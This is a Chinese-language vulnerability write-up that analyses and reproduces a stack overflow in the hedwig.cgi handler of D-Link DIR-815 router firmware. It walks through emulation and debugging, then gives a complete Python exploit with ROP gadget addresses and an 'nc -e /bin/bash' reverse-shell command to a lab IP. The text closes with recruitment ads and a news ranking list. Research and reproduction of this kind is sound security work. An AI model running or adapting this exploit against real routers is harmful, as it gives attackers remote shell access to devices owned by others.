DLink 815系列路由器栈溢出漏洞分析与复现
漏洞介绍:
DIR-815 cgibi中hedwig_cgi函数中处理HTTP 头中 Cookie 字段中 uid 的值时存在栈溢出漏洞
版本:DIR-815 FW 1.01b14_1.01b14
一、固件解包
利用binwalk进行固件解包:
binwalk -e DIR-815 FW 1.01b14_1.01b14.bin
得到文件系统如下:
二、漏洞静态分析
漏洞存在于hedwig_cgi函数中,当其处理前端的HTTP头中Cookie字段的uid值时,存在栈溢出漏洞。hedwig_cgi是集成到cgibin文件中的,因此直接拖取cgibin文件进行分析,定位hedwig_cgi函数:
当程序获取Cookie字段中的uid值后,直接将内容复制到v27所在数组中,造成栈溢出。
对应汇编代码如下:
函数返回处汇编代码如下:
三、漏洞动态调试
为了能对程序进行调试,确认溢出偏移量,需要进行仿真,下面分用户仿真和系统仿真两种方法。
1.用户仿真
用户仿真脚本如下:
#!/bin/bash
test=$(python -c "print 'uid=' + 'A'*1043 + 'BBBB'")
LEN=$(echo -n "$test" | wc -c)
PORT="1234"
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
在ubuntu18虚拟机下,用户仿真用gdb调试失败,但是可以利用ida进行远程调试
但是在用户仿真情况下,不能正常执行shellcode相关功能,因此还是利用系统仿真。
2.系统仿真
(1)系统仿真启动
首先进行qemu虚拟机启动:
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
在主机中进行网络配置:
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
在虚拟机中进行网络配置:
ifconfig eth1 192.168.100.2 netmask 255.255.255.0
route add default gw 192.168.100.254
主机虚拟机互相ping通:
为了方便调试,关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space
上传路由器文件系统:
scp -r squashfs-root/ root@192.168.100.2:~/
系统仿真时,需要模拟启动hedwig.cgi相关服务,模拟其相关服务时需要配置好conf文件:(放在squash根目录下)
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #网卡
Address 192.168.100.2 #qemu的ip地址
Port "4321" #对应web访问端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
然后利用如下脚本在qemu中启动httpd服务:(在根目录下运行)
#!/bin/bash
cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf
然后在ubuntu中访问hedwig.cgi服务:
在qemu中直接运行hedwig.cgi服务,显示no REQUEST,说明hedwig.cgi服务没有收到请求
因此需要提前配置REQUEST_METHOD等方法,这里通过环境变量进行设置:
export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"
此时再运行hedwig.cgi服务即可正常接收内容:
(2)调试确定栈溢出偏移
下面利用gdbserver对hedwig.cgi服务进行调试,调试脚本如下:
#!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
#export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
#echo "uid=4321"|/htdocs/web/hedwig.cgi
qemu中运行调试脚本,ubuntu中进行gdb连接:
在hedwig_cgi函数的返回地址下断,然后查看此时栈空间:
SP 0x7fff63c8 ◂— 0x0
*PC 0x409a38 ◂— lw $s6, 0x4d8($sp)
─────────[ DISASM ]─────────
0x409a28 lw $ra, 0x4e4($sp)
0x409a2c move $v0, $s7
0x409a30 lw $fp, 0x4e0($sp)
0x409a34 lw $s7, 0x4dc($sp)
► 0x409a38 lw $s6, 0x4d8($sp)
0x409a3c lw $s5, 0x4d4($sp)
0x409a40 lw $s4, 0x4d0($sp)
0x409a44 lw $s3, 0x4cc($sp)
0x409a48 lw $s2, 0x4c8($sp)
0x409a4c lw $s1, 0x4c4($sp)
0x409a50 lw $s0, 0x4c0($sp)
查看此时sp+0x4e4地址,成功劫持。因此可以判定偏移量为1009.
pwndbg> x/20xw 0x7fff68ac
0x7fff68ac: 0x42424242 0x77fe2100 0x77fe26bc 0x77fe236c
0x7fff68bc: 0x7fff68c0 0x77faa4e0 0x00000000 0x00000000
0x7fff68cc: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fff68dc: 0x00000000 0x00000003 0x00400034 0x00000004
0x7fff68ec: 0x00000020 0x00000005 0x00000008 0x00000006
(3)ROP链构造
核心目的就是劫持返回地址,执行system( )函数。为了避免cache incoherency机制,我们利用system函数来构造ROP链进行shell的反弹,而不直接布置shellcode。首先要确定可以调用system函数的libc,利用vmmap查看各区段:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x41c000 r-xp 1c000 0 /htdocs/cgibin
0x42c000 0x42d000 rw-p 1000 1c000 /htdocs/cgibin
0x42d000 0x430000 rwxp 3000 0 [heap]
0x77f34000 0x77f92000 r-xp 5e000 0 /lib/libc.so.0
0x77f92000 0x77fa1000 ---p f000 0
0x77fa1000 0x77fa2000 r--p 1000 5d000 /lib/libc.so.0
0x77fa2000 0x77fa3000 rw-p 1000 5e000 /lib/libc.so.0
0x77fa3000 0x77fa8000 rw-p 5000 0
0x77fa8000 0x77fd1000 r-xp 29000 0 /lib/libgcc_s.so.1
0x77fd1000 0x77fe1000 ---p 10000 0
0x77fe1000 0x77fe2000 rw-p 1000 29000 /lib/libgcc_s.so.1
0x77fe2000 0x77fe7000 r-xp 5000 0 /lib/ld-uClibc.so.0
0x77ff5000 0x77ff6000 rw-p 1000 0
0x77ff6000 0x77ff7000 r--p 1000 4000 /lib/ld-uClibc.so.0
0x77ff7000 0x77ff8000 rw-p 1000 5000 /lib/ld-uClibc.so.0
0x7ff58000 0x7fff7000 rwxp 9f000 0 [stack]
0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]
查看libc.so.0链接的libc文件:
ls -l libc.so.0
lrwxrwxrwx 1 root root 21 12月 26 22:03 libc.so.0 -> libuClibc-0.9.30.1.so
因此所需要的system函数及相关gadgets均在libuClibc-0.9.30.1.so。
根据mipsrop工具查找到的gadgets,构造ROP链:
这里参考《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将system地址恢复,因此我们查找“addiu $s0,1”指令,选用gadgets:158c8
可知第一个gadgets可以将s0赋值为system函数地址。
现在我们还需要找到给system函数传参的gadgets。利用mipsrop.stackfinder,选用gadgets:159cc。因为其既可以跳转至system函数,又可以通过s5给system函数传参。
因此整体流程为:
劫持地址-->gadget1:0x158c8(给s0赋值为system函数地址,跳转至s5)--->gadgets2:0x159cc(给system函数传参并跳转执行)
因此exp编写如下:
#!/usr/bin/python2
from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x158c8
gadget2 = 0x159cc
cmd = 'nc -e /bin/bash 192.168.100.254 9999'
padding = 'A' * 973
padding += p32(base_addr + system_addr_1) # s0
padding += 'A' * 4 # s1
padding += 'A' * 4 # s2
padding += 'A' * 4 # s3
padding += 'A' * 4 # s4
padding += p32(base_addr+gadget2) # s5
padding += 'A' * 4 # s6
padding += 'A' * 4 # s7
padding += 'A' * 4 # fp
padding += p32(base_addr + gadget1) # ra
padding += 'B' * 0x10
padding += cmd
f = open("context",'wb')
f.write(padding)
f.close()
运行exp生成context,将congtext上传,然后运行hedwig.cgi服务:
!/bin/bash
export CONTENT_TYPE="application/x-www-form-urlencoded"
#export HTTP_COOKIE=$(python -c "print 'uid=' + 'A'*1009 + 'BBBB'")
export HTTP_COOKIE="uid=`cat context`"
export CONTENT_LENGTH=$(echo -n "$HTTP_COOKIE" | wc -c)
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
#echo "uid=4321"|./gdbserver.mipsle 192.168.100.254:8888 /htdocs/web/hedwig.cgi
echo "uid=4321"|/htdocs/web/hedwig.cgi
主机端nc监听并反弹shell如下:
以上就是整体的调试流程,当然也可以通过布置shellcode来实现shell的反弹,但是需要绕过cache incoherency机制,利用sleep函数进行flush操作。
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 共绘亚太下一个“黄金三十年” 7945057
- 2 山里藏价值6000亿元黄金?村民发声 7979331
- 3 微信或史诗级“瘦身” 内存有救了 7857933
- 4 中国主张成为G20峰会的一抹亮色 7770497
- 5 朝鲜将军队提升至战斗准备状态 7672270
- 6 男子抱3个小孩跳海?官方通报 7553340
- 7 交大教练说张雨绮对象输球输人 7499499
- 8 带96岁母亲酒店养老遭拉黑 男子发声 7350593
- 9 男生解锁“滑步下泰山”技能 7281773
- 10 千年古镇“因网而变、因数而兴” 7190157